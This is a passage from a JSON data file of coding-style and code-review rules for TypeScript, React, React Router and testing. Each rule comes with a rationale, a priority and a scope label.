can target TTFB, CLS, LCP, bundle size, or p95 latency—pick what matters to the product. Exceptions: Early prototypes can skip budgets, but add them before public launch.","whyItMatters":"Without budgets, regressions go unnoticed until users complain. Teams cannot tell if a change is acceptable.","priority":"p1","scope":"universal"},{"title":"Standardize error handling across boundaries","rule":"Use a consistent error strategy (typed errors or Result objects) so callers can handle failures predictably and avoid ad‑hoc patterns.","apiRule":"Use a consistent error strategy (typed errors or Result objects) so callers can handle failures predictably and avoid ad‑hoc patterns. The function throws inconsistent error types, so callers must guess how to handle failures. This leads to fragile error handling and missed cases. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Result/Either patterns are also valid if your codebase avoids exceptions. Exceptions: Very small scripts may skip this, but shared modules should standardize errors.","whyItMatters":"The function throws inconsistent error types, so callers must guess how to handle failures. This leads to fragile error handling and missed cases.","priority":"p1","scope":"universal"},{"title":"Define API boundaries with dedicated DTOs","rule":"Do not expose internal domain models directly through APIs; map to explicit DTOs at the boundary to keep contracts stable and enforce validation.","apiRule":"Do not expose internal domain models directly through APIs; map to explicit DTOs at the boundary to keep contracts stable and enforce validation. The API returns the raw domain entity, so internal fields and schema changes leak to consumers. This couples clients to the database shape and makes safe refactors harder. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Apply this to both HTTP APIs and internal service boundaries (RPC, queues). Exceptions: For quick prototypes you may skip DTOs, but document the risk and plan to add them before production.","whyItMatters":"The API returns the raw domain entity, so internal fields and schema changes leak to consumers. This couples clients to the database shape and makes safe refactors harder.","priority":"p1","scope":"universal"},{"title":"Avoid mixing optional and nullable types","rule":"Do not combine optional syntax (?) with null types in TypeScript definitions, as it creates ambiguous and redundant 'missing' states.","apiRule":"Do not combine optional syntax (?) with null types in TypeScript definitions, as it creates ambiguous and redundant 'missing' states. Using both `?` (undefined) and `| null` creates two ways to represent 'no value'. This forces the consumer to handle both `undefined` and `null`, implies a semantic difference that rarely exists, and makes the type definition confusing. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Using both `?` (undefined) and `| null` creates two ways to represent 'no value'. This forces the consumer to handle both `undefined` and `null`, implies a semantic difference that rarely exists, and makes the type definition confusing.","priority":"p1","scope":"stack-specific"},{"title":"Prefer strict required fields over optional properties","rule":"Avoid marking all interface properties as optional; use strict types to guarantee the existence of core fields.","apiRule":"Avoid marking all interface properties as optional; use strict types to guarantee the existence of core fields. Marking essential fields like `id` or `username` as optional (`?`) weakens the type definition. It implies these fields might be missing entirely, forcing consumers to add redundant checks for data that is actually guaranteed. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Only use `?` if the API might omit the key entirely. If the key is always sent but might be empty, use `| null`. Exceptions: Balance against discriminated-union-only-when-variants-diverge: prefer required fields (via a union per state) when optionality would otherwise mask which fields are truly guaranteed.","whyItMatters":"Marking essential fields like `id` or `username` as optional (`?`) weakens the type definition. It implies these fields might be missing entirely, forcing consumers to add redundant checks for data that is actually guaranteed.","priority":"p1","scope":"stack-specific"},{"title":"Prefer explicit null over conditional object spreading","rule":"Ensure consistent object shapes by assigning `null` to missing properties instead of conditionally omitting the key using spread syntax.","apiRule":"Ensure consistent object shapes by assigning `null` to missing properties instead of conditionally omitting the key using spread syntax. Using conditional spreading `...(value ? { key } : {})` results in an inconsistent object shape where keys may be missing entirely. This forces consumers to check for key existence instead of just value nullability and prevents JavaScript engines from optimizing object structures (hidden classes). Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against conditional-object-key-prefer-undefined-over-empty-spread: include the key with explicit null when a stable object shape matters to consumers or storage. Balance against prefer-logical-and-for-conditional-object-properties: assign explicit null when consumers rely on a stable object shape with the key always present.","whyItMatters":"Using conditional spreading `...(value ? { key } : {})` results in an inconsistent object shape where keys may be missing entirely. This forces consumers to check for key existence instead of just value nullability and prevents JavaScript engines from optimizing object structures (hidden classes).","priority":"p1","scope":"stack-specific"},{"title":"Flatten complex conditional rendering with variables","rule":"Avoid nested or chained ternary operators in JSX for multi-state rendering; assign content to a variable or use early returns.","apiRule":"Avoid nested or chained ternary operators in JSX for multi-state rendering; assign content to a variable or use early returns. Nested ternaries inside JSX make the render logic difficult to scan, format, and debug. It forces the reader to parse multiple levels of indentation and conditions just to understand the visual hierarchy. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use this pattern when only a section of the UI changes (e.g., inside a layout). If the entire component changes, prefer 'Early Returns' instead.","whyItMatters":"Nested ternaries inside JSX make the render logic difficult to scan, format, and debug. It forces the reader to parse multiple levels of indentation and conditions just to understand the visual hierarchy.","priority":"p2","scope":"stack-specific"},{"title":"Decouple presentational components from domain entities","rule":"Avoid passing raw API objects to UI components; pass explicit, pre-formatted props to improve reusability and separation of concerns.","apiRule":"Avoid passing raw API objects to UI components; pass explicit, pre-formatted props to improve reusability and separation of concerns. The component takes a raw API object (`article`) and performs data transformation (formatting names, dates, fallbacks) internally. This couples the UI to the backend schema, making the component hard to reuse with different data sources and harder to test. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. If passing many props becomes cumbersome, define a specific UI interface (e.g., `ArticleUiModel`) that is distinct from the API entity.","whyItMatters":"The component takes a raw API object (`article`) and performs data transformation (formatting names, dates, fallbacks) internally. This couples the UI to the backend schema, making the component hard to reuse with different data sources and harder to test.","priority":"p1","scope":"stack-specific"},{"title":"Prefer shorthand axis utilities in Tailwind","rule":"Combine individual top/bottom or left/right utilities into single axis utilities (px, py, mx, my) when values are identical.","apiRule":"Combine individual top/bottom or left/right utilities into single axis utilities (px, py, mx, my) when values are identical. The code uses separate classes for top/bottom and left/right spacing with identical values (`pt-6 pb-6`, `pl-4 pr-4`). This is verbose and harder to scan. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Only use axis shorthands when the values match; keep explicit sides when they differ.","whyItMatters":"The code uses separate classes for top/bottom and left/right spacing with identical values (`pt-6 pb-6`, `pl-4 pr-4`). This is verbose and harder to scan.","priority":"p2","scope":"stack-specific"},{"title":"Prefer logical AND for single-branch JSX rendering","rule":"Use the logical AND operator (&&) instead of the ternary operator for conditional rendering when there is no fallback UI.","apiRule":"Use the logical AND operator (&&) instead of the ternary operator for conditional rendering when there is no fallback UI. Using a ternary operator with `null` as the fallback is unnecessarily verbose when you only need to render content for the truthy case. It adds visual noise without adding value. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Be cautious with numeric values (e.g., `0`), as React renders them directly. When checking numbers, convert them to booleans (`!!count` or `count > 0`) before using `&&`. Exceptions: Use a ternary when the falsy case must render UI or when values like 0 should still display.","whyItMatters":"Using a ternary operator with `null` as the fallback is unnecessarily verbose when you only need to render content for the truthy case. It adds visual noise without adding value.","priority":"p2","scope":"stack-specific"},{"title":"Prefer descriptive names over generic verbs in effects","rule":"Avoid generic function names like 'run' or 'start' inside useEffect; use names that describe the specific action.","apiRule":"Avoid generic function names like 'run' or 'start' inside useEffect; use names that describe the specific action. The name 'run' is generic and fails to describe what the function actually does. It forces the reader to parse the function body to understand the intent. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The name 'run' is generic and fails to describe what the function actually does. It forces the reader to parse the function body to understand the intent.","priority":"p2","scope":"stack-specific"},{"title":"Prefer AbortController over manual flags for effect cleanup","rule":"Use AbortController to handle async cleanup in useEffect instead of manual boolean flags like isActive or isMounted.","apiRule":"Use AbortController to handle async cleanup in useEffect instead of manual boolean flags like isActive or isMounted. Using a manual `isActive` flag alongside `AbortController` is redundant. The flag adds imperative complexity solely to prevent state updates on unmounted components, which `AbortController` can already handle. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: If AbortController isn't available in the target runtime, a simple mounted flag can be acceptable. For complex multi-step cancellations, a higher-level abstraction may be clearer.","whyItMatters":"Using a manual `isActive` flag alongside `AbortController` is redundant. The flag adds imperative complexity solely to prevent state updates on unmounted components, which `AbortController` can already handle.","priority":"p2","scope":"stack-specific"},{"title":"Avoid redundant variable aliases","rule":"Do not create variables that merely alias existing state or props without adding logic or semantic value.","apiRule":"Do not create variables that merely alias existing state or props without adding logic or semantic value. The variable `visible` is an unnecessary alias for `results`. It introduces visual noise and confuses the reader into thinking there might be a difference between the two variables when there isn't. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If you need to rename a variable for clarity, rename the original state or prop instead of creating an alias.","whyItMatters":"The variable `visible` is an unnecessary alias for `results`. It introduces visual noise and confuses the reader into thinking there might be a difference between the two variables when there isn't.","priority":"p1","scope":"universal"},{"title":"Consolidate effects with identical dependencies","rule":"Merge multiple useEffect hooks that share the same dependency array and domain concern into a single hook to improve readability and maintainability.","apiRule":"Merge multiple useEffect hooks that share the same dependency array and domain concern into a single hook to improve readability and maintainability. Using two separate effects with the exact same dependency array (`[imageUrl]`) adds unnecessary boilerplate. It separates logically related operations (resetting state and validating the image), making the code harder to scan. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Exceptions apply if the effects handle completely unrelated concerns (e.g., one for analytics and one for DOM manipulation), but generally, related logic sharing triggers should be colocated.","whyItMatters":"Using two separate effects with the exact same dependency array (`[imageUrl]`) adds unnecessary boilerplate. It separates logically related operations (resetting state and validating the image), making the code harder to scan.","priority":"p2","scope":"stack-specific"},{"title":"Define distinct types for distinct data shapes","rule":"Avoid reusing a single type for multiple API responses that have differing structures; create specific types to ensure strict type safety.","apiRule":"Avoid reusing a single type for multiple API responses that have differing structures; create specific types to ensure strict type safety. Reusing a single type for different API endpoints forces fields to be optional to accommodate both shapes. This leads to a weak type definition where developers cannot rely on the existence of specific properties without manual checks. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against discriminated-union-only-when-variants-diverge: define separate types when two responses are genuinely different shapes, not minor field variants. Balance against reuse-existing-shared-types-enums-and-helpers: create a new type only when the shape is genuinely distinct from anything that already exists.","whyItMatters":"Reusing a single type for different API endpoints forces fields to be optional to accommodate both shapes. This leads to a weak type definition where developers cannot rely on the existence of specific properties without manual checks.","priority":"p1","scope":"stack-specific"},{"title":"Prefer synchronous DOM access over unnecessary microtasks","rule":"Avoid wrapping DOM logic in microtasks if the element is already mounted and accessible.","apiRule":"Avoid wrapping DOM logic in microtasks if the element is already mounted and accessible. Wrapping immediate DOM interactions in a microtask adds unnecessary complexity and async behavior. Since `useEffect` runs after the component has mounted and the ref is populated, deferral is not needed for static elements. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Only use microtasks or timeouts if you are waiting for a browser paint, a layout recalculation, or an element that renders asynchronously (e.g., inside a just-opened portal or dialog).","whyItMatters":"Wrapping immediate DOM interactions in a microtask adds unnecessary complexity and async behavior. Since `useEffect` runs after the component has mounted and the ref is populated, deferral is not needed for static elements.","priority":"p1","scope":"stack-specific"},{"title":"Localize browser patches with scoped listeners","rule":"Fix element-specific browser quirks using scoped event listeners on the target element instead of global interaction tracking.","apiRule":"Fix element-specific browser quirks using scoped event listeners on the target element instead of global interaction tracking. This code introduces complex global state and window listeners solely to manage the behavior of a single input element. It pollutes the component with unrelated concerns and renders the logic fragile and hard to maintain. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"This code introduces complex global state and window listeners solely to manage the behavior of a single input element. It pollutes the component with unrelated concerns and renders the logic fragile and hard to maintain.","priority":"p2","scope":"stack-specific"},{"title":"Prefer activeElement checks over interaction listeners for autofocus detection","rule":"Detect browser autofocus by checking document.activeElement on mount instead of tracking global user interaction events.","apiRule":"Detect browser autofocus by checking document.activeElement on mount instead of tracking global user interaction events. Tracking global events to determine if a focus was user-initiated is fragile and adds unnecessary complexity. It pollutes the component with global side effects solely to infer a state that is already available in the DOM. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Tracking global events to determine if a focus was user-initiated is fragile and adds unnecessary complexity. It pollutes the component with global side effects solely to infer a state that is already available in the DOM.","priority":"p1","scope":"stack-specific"},{"title":"Configure mixed test environments using Vitest projects","rule":"Use the projects configuration in Vitest to isolate Node-based unit tests from browser-based integration tests in a single file.","apiRule":"Use the projects configuration in Vitest to isolate Node-based unit tests from browser-based integration tests in a single file. Using a single environment for all tests forces compromises. Logic tests run slower in 'jsdom', while browser tests might fail or require excessive mocking if forced into 'node'. It treats all tests as the same type. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Using a single environment for all tests forces compromises. Logic tests run slower in 'jsdom', while browser tests might fail or require excessive mocking if forced into 'node'. It treats all tests as the same type.","priority":"p1","scope":"universal"},{"title":"Prefer accessibility locators for user interaction tests","rule":"Query elements by accessible roles (e.g., button, option) to ensure tests resemble user behavior and verify accessibility.","apiRule":"Query elements by accessible roles (e.g., button, option) to ensure tests resemble user behavior and verify accessibility. Relying on CSS classes, IDs, or internal data attributes creates brittle tests that break when implementation details change (e.g., refactoring CSS). It also fails to verify that the element is correctly exposed to assistive technologies (screen readers). Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Relying on CSS classes, IDs, or internal data attributes creates brittle tests that break when implementation details change (e.g., refactoring CSS). It also fails to verify that the element is correctly exposed to assistive technologies (screen readers).","priority":"p1","scope":"universal"},{"title":"Prefer remember utility for global singletons","rule":"Use a dedicated utility to persist singleton instances across module reloads instead of manual globalThis assignments.","apiRule":"Use a dedicated utility to persist singleton instances across module reloads instead of manual globalThis assignments. Manually assigning properties to `globalThis` to preserve instances across hot reloads is verbose, error-prone, and clutters the global namespace with custom property names. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. This pattern is essential for database connections (Prisma), query clients, or any heavy object that should not be re-initialized during development HMR cycles.","whyItMatters":"Manually assigning properties to `globalThis` to preserve instances across hot reloads is verbose, error-prone, and clutters the global namespace with custom property names.","priority":"p1","scope":"project-specific"},{"title":"Prefer invariant over manual error throwing","rule":"Use invariant utilities to assert conditions and narrow types instead of verbose manual checks.","apiRule":"Use invariant utilities to assert conditions and narrow types instead of verbose manual checks. Manual checks using 'if' statements and 'throw new Error' are verbose and add visual noise. They require reading the negative condition to understand the requirement. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Popular libraries include 'tiny-invariant' for frontend/general use and 'node:assert' for Node.js backends.","whyItMatters":"Manual checks using 'if' statements and 'throw new Error' are verbose and add visual noise. They require reading the negative condition to understand the requirement.","priority":"p1","scope":"stack-specific"},{"title":"Infer loader data types from implementation","rule":"Avoid manually defining loader return types; infer them directly from the loader function using TypeScript.","apiRule":"Avoid manually defining loader return types; infer them directly from the loader function using TypeScript. Manually defining the `LoaderData` interface creates a maintenance burden. If the `loader` function implementation changes (e.g., adding a field), the type must be manually updated, leading to potential desynchronization and bugs. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. This also applies to `useRouteLoaderData` where you should import the loader from the parent route and use `typeof importedLoader` instead of recreating the type locally. Exceptions: Balance against explicit-hook-return-types: skip the hand-written type only for framework loaders whose return is reliably inferred from the implementation. Balance against explicit-function-return-types: for framework loaders specifically, infer the return type from the implementation rather than hand-writing it.","whyItMatters":"Manually defining the `LoaderData` interface creates a maintenance burden. If the `loader` function implementation changes (e.g., adding a field), the type must be manually updated, leading to potential desynchronization and bugs.","priority":"p1","scope":"stack-specific"},{"title":"Assume standard global objects exist","rule":"Do not use typeof checks for standard global objects like AbortSignal or URL; only feature-detect new methods on them if needed.","apiRule":"Do not use typeof checks for standard global objects like AbortSignal or URL; only feature-detect new methods on them if needed. Checking `typeof AbortSignal !== 'undefined'` is defensive noise. Modern environments (browsers/Node.js) guarantee the existence of standard classes like `AbortSignal`, `URL`, or `Promise`. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Checking `typeof AbortSignal !== 'undefined'` is defensive noise. Modern environments (browsers/Node.js) guarantee the existence of standard classes like `AbortSignal`, `URL`, or `Promise`.","priority":"p2","scope":"universal"},{"title":"Prefer instanceof over Boolean for type narrowing","rule":"Use instanceof checks in filter callbacks to allow TypeScript to automatically infer types and avoid manual type predicates.","apiRule":"Use instanceof checks in filter callbacks to allow TypeScript to automatically infer types and avoid manual type predicates. Using `Boolean(signal)` relies on generic truthiness and requires a manual type predicate (`signal is AbortSignal`) to ensure the array type is narrowed correctly. It incorrectly suggests that any truthy value is valid. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Inferred type predicates from filter functions were introduced in TypeScript 5.5.","whyItMatters":"Using `Boolean(signal)` relies on generic truthiness and requires a manual type predicate (`signal is AbortSignal`) to ensure the array type is narrowed correctly. It incorrectly suggests that any truthy value is valid.","priority":"p1","scope":"stack-specific"},{"title":"Validate event targets with runtime checks","rule":"Avoid unsafe type casting on event.target; use instanceof checks or invariants to guarantee type safety at runtime.","apiRule":"Avoid unsafe type casting on event.target; use instanceof checks or invariants to guarantee type safety at runtime. Using `as AbortSignal` silences TypeScript without verifying the actual object at runtime. If `event.target` is null or a different type, the code will fail unexpectedly downstream. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Using `as AbortSignal` silences TypeScript without verifying the actual object at runtime. If `event.target` is null or a different type, the code will fail unexpectedly downstream.","priority":"p1","scope":"stack-specific"},{"title":"Merge cancellation signals with AbortSignal.any","rule":"Combine multiple cancellation sources (timeouts, user actions) into a single signal using AbortSignal.any to ensure robust resource cleanup.","apiRule":"Combine multiple cancellation sources (timeouts, user actions) into a single signal using AbortSignal.any to ensure robust resource cleanup. By using only the local `timeoutCtrl.signal`, the function ignores the `parentSignal` passed from the caller (e.g., a component unmounting or user navigation). This leads to 'zombie' requests that continue even after they are no longer needed. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Modern browsers and Node.js (v20+) support `AbortSignal.any()` natively. For older environments, use a utility function that gracefully falls back to a manual `AbortController` implementation with proper event cleanup.","whyItMatters":"By using only the local `timeoutCtrl.signal`, the function ignores the `parentSignal` passed from the caller (e.g., a component unmounting or user navigation). This leads to 'zombie' requests that continue even after they are no longer needed.","priority":"p1","scope":"universal"},{"title":"Prefer intermediate unknown cast for diverging generics","rule":"Cast raw data to unknown before asserting specific generic types to handle diverging type paths safely.","apiRule":"Cast raw data to unknown before asserting specific generic types to handle diverging type paths safely. Directly casting the response to `TData` assumes the raw shape matches the input type. This causes type conflicts when the function needs to return `TResult` (which might differ from `TData`), forcing unsafe double assertions later. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against validate-external-responses-not-blind-cast: cast through unknown only when the data is already trusted and you're satisfying diverging generics, not validating input.","whyItMatters":"Directly casting the response to `TData` assumes the raw shape matches the input type. This causes type conflicts when the function needs to return `TResult` (which might differ from `TData`), forcing unsafe double assertions later.","priority":"p1","scope":"stack-specific"},{"title":"Inject fresh dependencies in test utilities","rule":"Always create fresh instances of stateful dependencies (like QueryClient or Stores) inside test helpers to ensure test isolation.","apiRule":"Always create fresh instances of stateful dependencies (like QueryClient or Stores) inside test helpers to ensure test isolation. Using a global singleton in test helpers causes state (like cache) to persist between tests. This leads to flaky tests where the outcome depends on the execution order of previous tests. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. This applies to any stateful dependency injected via Context, such as Redux stores, Apollo clients, or React Router contexts.","whyItMatters":"Using a global singleton in test helpers causes state (like cache) to persist between tests. This leads to flaky tests where the outcome depends on the execution order of previous tests.","priority":"p1","scope":"universal"},{"title":"Integrate caching and dependency injection into fetch utilities","rule":"Encapsulate caching logic (like ensureQueryData) and dependency injection within fetch helpers to reduce boilerplate and ensure consistent signal handling.","apiRule":"Encapsulate caching logic (like ensureQueryData) and dependency injection within fetch helpers to reduce boilerplate and ensure consistent signal handling. The fetch utility is too simple, forcing every consumer to manually wrap calls with `ensureQueryData`, manage query keys, and manually pass abort signals. This creates repetitive boilerplate and increases the risk of forgetting to forward signals. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Pass `QueryClient` as an argument (dependency injection) instead of importing a global instance to ensure compatibility with Server-Side Rendering (SSR) and isolation in tests.","whyItMatters":"The fetch utility is too simple, forcing every consumer to manually wrap calls with `ensureQueryData`, manage query keys, and manually pass abort signals. This creates repetitive boilerplate and increases the risk of forgetting to forward signals.","priority":"p1","scope":"stack-specific"},{"title":"Merge AbortSignals when bridging async contexts","rule":"Combine cancellation signals when using async libraries (like React Query) within framework lifecycles (like React Router) to ensure redundant requests are properly aborted.","apiRule":"Combine cancellation signals when using async libraries (like React Query) within framework lifecycles (like React Router) to ensure redundant requests are properly aborted. This code only respects the signal from the query library (React Query). If the user navigates away (triggering React Router's `request.signal`), the network request continues running unnecessarily because that signal is ignored. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Modern environments support `AbortSignal.any()`, but a polyfill or custom helper is needed for broader compatibility.","whyItMatters":"This code only respects the signal from the query library (React Query). If the user navigates away (triggering React Router's `request.signal`), the network request continues running unnecessarily because that signal is ignored.","priority":"p1","scope":"stack-specific"},{"title":"Prefer explicit boolean literals for discriminated unions","rule":"Use strict `true` and `false` literals instead of `undefined` for boolean discriminants in unions to improve clarity and type safety.","apiRule":"Use strict `true` and `false` literals instead of `undefined` for boolean discriminants in unions to improve clarity and type safety. Using `undefined` as a discriminant implies a missing value rather than a specific state. It makes the union harder to reason about and type-check strictly. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Using `undefined` as a discriminant implies a missing value rather than a specific state. It makes the union harder to reason about and type-check strictly.","priority":"p1","scope":"stack-specific"},{"title":"Align I/O type assertions with return generics","rule":"When parsing external data in generic functions, cast directly to the return type generic to avoid type mismatches or suppressed errors.","apiRule":"When parsing external data in generic functions, cast directly to the return type generic to avoid type mismatches or suppressed errors. Casting the raw response to the input type (`TIn`) creates a type conflict when the function needs to return the output type (`TOut`) in the absence of a transformer. This forces developers to suppress errors, hiding potential issues. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against validate-external-responses-not-blind-cast: align the cast with the return generic only for already-trusted/internally-validated data, not raw network input.","whyItMatters":"Casting the raw response to the input type (`TIn`) creates a type conflict when the function needs to return the output type (`TOut`) in the absence of a transformer. This forces developers to suppress errors, hiding potential issues.","priority":"p1","scope":"stack-specific"},{"title":"Prefer inferred type predicates in filter","rule":"Avoid defining manual type predicates in array filter callbacks when TypeScript can infer narrowing automatically.","apiRule":"Avoid defining manual type predicates in array filter callbacks when TypeScript can infer narrowing automatically. Manually defining the type predicate (`: s is Type`) is verbose and redundant in modern TypeScript. It also creates a maintenance burden, as the type definition must be manually synced with the implementation logic. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. This behavior requires TypeScript 5.5 or later (Inferred Type Predicates).","whyItMatters":"Manually defining the type predicate (`: s is Type`) is verbose and redundant in modern TypeScript. It also creates a maintenance burden, as the type definition must be manually synced with the implementation logic.","priority":"p2","scope":"stack-specific"},{"title":"Invalidate HMR singletons on config change","rule":"Include configuration data in singleton cache keys to ensure instances are recreated when settings change during Hot Module Replacement.","apiRule":"Include configuration data in singleton cache keys to ensure instances are recreated when settings change during Hot Module Replacement. Using a static key for a persisted singleton means the instance survives HMR even if you change its configuration code. If you modify `staleTime`, the old client (with the old time) is still returned, confusing the developer. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Also prefer using exported interfaces like `QueryClientConfig` over complex utility types like `ConstructorParameters<typeof QueryClient>[0]` for better readability.","whyItMatters":"Using a static key for a persisted singleton means the instance survives HMR even if you change its configuration code. If you modify `staleTime`, the old client (with the old time) is still returned, confusing the developer.","priority":"p1","scope":"universal"},{"title":"Prefer single inferred useLoaderData call","rule":"Avoid calling useLoaderData multiple times or manual casting to merge types; rely on automatic type inference.","apiRule":"Avoid calling useLoaderData multiple times or manual casting to merge types; rely on automatic type inference. Calling useLoaderData multiple times creates redundant runtime execution solely to satisfy TypeScript. It implies a misunderstanding of the data flow or type system. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Calling useLoaderData multiple times creates redundant runtime execution solely to satisfy TypeScript. It implies a misunderstanding of the data flow or type system.","priority":"p2","scope":"stack-specific"},{"title":"Use numeric separators for large numbers","rule":"Use underscores (_) as numeric separators for large numbers and time calculations to improve visual parsing and reduce errors.","apiRule":"Use underscores (_) as numeric separators for large numbers and time calculations to improve visual parsing and reduce errors. Writing large numbers or unit conversions without separators makes them difficult to scan visually. It is easy to miss a zero or misinterpret the magnitude (e.g., confusing 10000 with 1000). Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. This is especially useful for milliseconds calculations (e.g., `1_000 * 60` for one minute).","whyItMatters":"Writing large numbers or unit conversions without separators makes them difficult to scan visually. It is easy to miss a zero or misinterpret the magnitude (e.g., confusing 10000 with 1000).","priority":"p1","scope":"universal"},{"title":"Prefer React Router Context for loader dependencies","rule":"Inject dependencies into loaders using React Router's context middleware instead of closures or globals to improve testability and type safety.","apiRule":"Inject dependencies into loaders using React Router's context middleware instead of closures or globals to improve testability and type safety. Using closures or factory functions to inject dependencies like `QueryClient` creates unnecessary boilerplate and complicates route definitions. It also makes type inference for loader data more difficult. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. This pattern requires enabling `v8_middleware: true` in the React Router configuration and defining the `Future` interface in TypeScript.","whyItMatters":"Using closures or factory functions to inject dependencies like `QueryClient` creates unnecessary boilerplate and complicates route definitions. It also makes type inference for loader data more difficult.","priority":"p1","scope":"stack-specific"},{"title":"Prefer curried event handlers for parameterized callbacks","rule":"Use curried functions to pass arguments to event handlers instead of inline anonymous wrappers to improve JSX readability.","apiRule":"Use curried functions to pass arguments to event handlers instead of inline anonymous wrappers to improve JSX readability. Using an inline arrow function wrapper `() => handleSort(...)` adds visual noise to the JSX and mixes logic definition with usage. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. This pattern is functionally equivalent to arrow wrappers regarding re-renders (a new function is created each time), but it is often preferred for style and cleaner JSX syntax.","whyItMatters":"Using an inline arrow function wrapper `() => handleSort(...)` adds visual noise to the JSX and mixes logic definition with usage.","priority":"p2","scope":"stack-specific"},{"title":"Use CSS for visual reordering instead of conditional JSX","rule":"Avoid duplicating JSX elements or using complex conditionals just to change visual order; use CSS flex-direction or order instead.","apiRule":"Avoid duplicating JSX elements or using complex conditionals just to change visual order; use CSS flex-direction or order instead. Conditionally rendering the same component in different positions based on a flag creates unnecessary duplication and bloats the JSX. It mixes visual layout concerns with the component's structural logic. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Conditionally rendering the same component in different positions based on a flag creates unnecessary duplication and bloats the JSX. It mixes visual layout concerns with the component's structural logic.","priority":"p2","scope":"stack-specific"},{"title":"Encapsulate internal types and helpers","rule":"Do not export types, functions, or constants that are only used locally within a module to avoid polluting the public API.","apiRule":"Do not export types, functions, or constants that are only used locally within a module to avoid polluting the public API. The interface `IInternalUserState` is implementation detail relevant only to this file. Exporting it creates a messy API surface and encourages other modules to depend on what should be private logic. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The interface `IInternalUserState` is implementation detail relevant only to this file. Exporting it creates a messy API surface and encourages other modules to depend on what should be private logic.","priority":"p2","scope":"stack-specific"},{"title":"Prefer focal-point cropping over blind resizing","rule":"Avoid simple center-cropping or scaling for editorial images; use focal-point (AOI) metadata to ensure the subject remains visible.","apiRule":"Avoid simple center-cropping or scaling for editorial images; use focal-point (AOI) metadata to ensure the subject remains visible. Simply resizing or center-cropping an image ignores its content. This often leads to awkward crops where heads, text, or key details are cut off, degrading the user experience. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Simply resizing or center-cropping an image ignores its content. This often leads to awkward crops where heads, text, or key details are cut off, degrading the user experience.","priority":"p1","scope":"universal"},{"title":"Encapsulate transformation logic in domain models","rule":"Avoid transforming or formatting entity data inside controllers or routes; encapsulate this logic as computed properties or methods within the entity class itself.","apiRule":"Avoid transforming or formatting entity data inside controllers or routes; encapsulate this logic as computed properties or methods within the entity class itself. The controller manually formats the avatar URL and full name using external helpers. This leads to anemic models and scattered logic; if another endpoint needs the same user data, you must duplicate this mapping logic. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. If multiple subclasses share the same transformation logic (e.g., `Agenda` and `AgendaExternal`), implement the logic once in the abstract base class (`AgendaBase`) instead of duplicating it or handling it externally.","whyItMatters":"The controller manually formats the avatar URL and full name using external helpers. This leads to anemic models and scattered logic; if another endpoint needs the same user data, you must duplicate this mapping logic.","priority":"p1","scope":"stack-specific"},{"title":"Avoid array indices as React 